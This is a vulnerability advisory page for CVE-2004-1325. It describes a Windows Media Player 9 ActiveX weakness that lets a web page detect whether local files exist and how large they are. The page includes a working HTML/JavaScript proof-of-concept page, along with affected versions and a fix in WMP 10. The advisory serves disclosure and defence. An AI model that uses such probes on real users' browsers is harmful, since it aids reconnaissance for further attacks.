BID:12032

Windows Media Player ActiveX Control File Enumeration Weakness

Info

Windows Media Player ActiveX Control File Enumeration Weakness

Bugtraq ID:	12032
Class:	Access Validation Error
CVE:	CVE-2004-1325
Remote:	Yes
Local:	No
Published:	Dec 18 2004 12:00AM
Updated:	Jul 12 2009 09:26AM
Credit:	Discovery is credited to Arman Nayyeri.
Vulnerable:	Microsoft Windows Media Player 9.0 + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition

Not Vulnerable:	Microsoft Windows Media Player 10.0

Discussion

Windows Media Player ActiveX Control File Enumeration Weakness

The Windows Media Player ActiveX control is prone to a security weakness that may allow a malicious Web page to enumerate files that exist on the client computer.

This could aid in further attacks.

This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2.

Exploit / POC

Windows Media Player ActiveX Control File Enumeration Weakness

The following exploit was provided:

<html><head><title>My Mortality</title></head><body>

<H1>Look at yourself and find the mortality of your body</H1>
<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="0">
<param name="mute" value="1">
</object>

<script>
var filePath = prompt("Enter the path of local file to check:","c:\\test.txt");
WindowsMediaPlayer.URL=filePath;
setTimeout(
function(){
ss=WindowsMediaPlayer.currentMedia.getItemInfoByAtom(19);
if (ss!="")
alert(filePath+" exist.\nThe file size is "+ss+" bytes. And you are surely vulnerable");
else
alert(filePath+" does not exist. Or you are not vulnerable");
}
,100);
</script>

</body></html>

Solution / Fix

Windows Media Player ActiveX Control File Enumeration Weakness

Solution:
This issue has been reportedly addressed in Windows Media Player 10. Symantec has not confirmed this.

References

Windows Media Player ActiveX Control File Enumeration Weakness

References:

Security Research (Arman Nayyeri)